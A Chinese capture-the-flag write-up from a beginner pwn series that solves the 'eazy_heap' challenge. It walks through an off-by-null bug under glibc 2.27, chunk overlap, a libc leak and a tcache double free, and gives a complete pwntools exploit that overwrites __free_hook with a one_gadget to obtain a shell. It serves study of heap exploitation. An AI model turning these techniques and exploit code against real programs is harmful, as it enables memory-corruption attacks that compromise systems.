web选手入门pwn(25)——eazy_heap

admin 2025年5月20日03:44:18评论1 views字数 4156阅读13分51秒阅读模式
1.eazy_heap(off by null 2.27)

不提供libc,直接用libc-2.27做。

只有增删查,没有改。

chunklist开头也是一块0xA0的chunk。

web选手入门pwn(25)——eazy_heap

漏洞发生点在sub_CFC(即add)中。

web选手入门pwn(25)——eazy_heap

前面限制了只能malloc(0xF8),最多10个堆块。跟进到后面可以很明显的感觉出来sub_BEC(a1,a2)传的两个参数是chunk地址和chunk size,它们都分别记录在chunklist上。

跟进sub_BEC()。

web选手入门pwn(25)——eazy_heap

0x0和0x0A为终止符,这限制了我们不好写0x200。chunk[size]=0显然越界到下一个chunk中了,也就是经典的off by null。但这里是否越界是由size决定的,显然size=0xf8产生越界,size<0xf8就不会越界。

先add两个试试。

from pwn import *context.log_level = 'debug'context.arch='amd64'sh = gdb.debug("./easy_heap","b *0x555555554f4enc")#sh = process("./easy_heap")elf = ELF("./easy_heap")def add(size, content="AAAAAAAA"):    sh.sendlineafter("> ","1")    sh.sendlineafter("> ",str(size))    sh.sendlineafter("> ",content)def show(index):    sh.sendlineafter("> ","3")    sh.sendlineafter("> ",str(index))def free(index):    sh.sendlineafter("> ","2")    sh.sendlineafter("> ",str(index))add(0xF8)add(0xF8)show(0)sh.interactive()
web选手入门pwn(25)——eazy_heap

很正常,然后free()上面一个,再add()回来。

add(0xF8#c0add(0xF8#c1free(0)add(0xF8#c0show(0)
web选手入门pwn(25)——eazy_heap

可以很明显发现0x101变成0x100了,这说明PREV_INUSE位被错误的置0了。如果使用add(0x10),虽然堆块大小不变,却不会置0。

web选手入门pwn(25)——eazy_heap

再回顾一下off by null利用所必须的堆块合并流程。

1,size不属于largebin/fastbin,tcachebin被填满(2.27),所以进入unsortedbin。

2,检测到PREV_INUSE为0,意味着前面有free的chunk,尝试合并。

3,检测到PREV_SIZE为0x300,检测-0x300的位置是否为已经free的chunk。

4,找到-0x300的chunk,PREV_INUSE不为0,意味着前面没有其他free的chunk了。

5,检测-0x300的chunk的fd/bk指针是否合法。

6,合并0x90+0x300。

这题最麻烦的地方在于不能写0x0,因此不好伪造PREV_SIZE,所以我们必须走完一个正常的堆块流程,这样会残存PREV_SIZE以供利用。

先申请10个堆块,然后全部释放掉,先释放最下面的7个做tcachebin,再释放最上面的3个做unsortedbin。

for i in range(10):    add(0x10)for i in range(3,10):    free(i)free(0)free(1)free(2)
web选手入门pwn(25)——eazy_heap

可以看到,这个操作完成之后,已经合并出来一个0x300的unsortedbin,但PREV_SIZE并没有被清除。然后将所有堆块申请回来,此时顺序变了,核心的c0c1c2变成了c7c8c9,为了后面描述方便,将其称为CA/CB/CC,理解成最上面3个chunk就行。

for i in range(10):    add(0x10)
web选手入门pwn(25)——eazy_heap

得到这样的布局就很完美了,接下来就是伪造堆块合并的条件,首先CA必须是unsortedbin,CC必须PREV_INUSE为0,且PREV_SIZE不能被破坏,这意味着必须释放 CB为tcache。那么就要先释放6个tcache,然后释放CB,再释放CA,最后add(f8)将CB加回来伪造CC的PREV_INUSE。

for i in range(0,6):    free(i) #6 tcachefree(8) #CB tcachefree(7) #CA unsortedbinadd(0xf8) #add CB, CC PREV_INUSE = 0x0
web选手入门pwn(25)——eazy_heap

此时CA free到unsortedbin,CB没有free,但因为篡改了PREV_INUSE被误认为已经free,CC在PREV_INUSE=0的同时PREV_SIZE=0x200。满足了堆块向上合并的一切条件。

free(6#top 7 tcachefree(9#free CC, CB chunk overlapping
web选手入门pwn(25)——eazy_heap

可以看到,CA/CB/CC已经合并成了0x300的unsortedbin,但CB根本就没被free,此时从unsortedbin上切一块0x100下来,打印CB,即可泄露libc。

for i in range(7):    add(0x10) #0 tcacheadd(0x10) #add CAshow(0) #show CB, leak libc
web选手入门pwn(25)——eazy_heap

泄露了libc之后,getshell当然是用重叠两个tcache的办法,此时已经新增了8个chunk,再加CB这个重叠chunk,一共9个。如果先add(0x10),再释放两次CB,也就是free(0)和free(9),虽然能够重叠两个tcache,但再add回来篡改fd要三次,chunk数量会不够,因此需要在释放两次CB之前随便释放一些堆块来解放chunk数量。

add(0x10)free(3)free(4)free(0) #first free CBfree(9) #double free CBadd(0x10, "B"*8)add(0x10)
web选手入门pwn(25)——eazy_heap

成功让tcache指向错误地址,下次add(0x10)就会尝试申请这个地址为堆块。当然还是因为Full RELRO无法劫持got,得劫持__free_hook或者__malloc_hook。这里尝试了一下,__free_hook+one_gadget即可getshell。

完整exp如下。

from pwn import *context.log_level = 'debug'context.arch='amd64'#sh = gdb.debug("./easy_heap","b *0x555555554f4encnc")sh = process("./easy_heap")elf = ELF("./easy_heap")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")libc_malloc_hook = libc.sym['__malloc_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70libc_free_hook = libc.sym['__free_hook']# chunklist 0x555555759250def add(size, content="AAAAAAAA"):    sh.sendlineafter("> ","1")    sh.sendlineafter("> ",str(size))    sh.sendlineafter("> ",content)def show(index):    sh.sendlineafter("> ","3")    sh.sendlineafter("> ",str(index))def free(index):    sh.sendlineafter("> ","2")    sh.sendlineafter("> ",str(index))for i in range(10):    add(0x10)for i in range(3,10):    free(i) #7 tcachefree(0#CAfree(1#CBfree(2#CC  PREV_SIZE = 0x200for i in range(10):    add(0x10)for i in range(0,6):    free(i) #6 tcachefree(8#CB tcachefree(7#CA unsortedbinadd(0xf8#add CB, CC PREV_INUSE = 0x0free(6#top 7 tcachefree(9#free CC, CB chunk overlappingfor i in range(7):    add(0x10#0 tcacheadd(0x10#add CAshow(0#show CB, leak libcmain_arena_N_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(main_arena_N_addr))libc_base = main_arena_N_addr - libc_main_arena_Nprint(hex(libc_base))one = [0x4f2c50x4f3220x10a38c]add(0x10)free(3)free(4)free(0#first free CBfree(9#double free CBadd(0x10,p64(libc_base + libc_free_hook)) #fake CB fdadd(0x10)add(0x10, p64(libc_base + one[1])) #write free_hook to one_gadgetfree(5#getshellsh.interactive()
web选手入门pwn(25)——eazy_heap

原文始发于微信公众号(珂技知识分享):web选手入门pwn(25)——eazy_heap

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月20日03:44:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web选手入门pwn(25)——eazy_heaphttp://cn-sec.com/archives/4023749.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息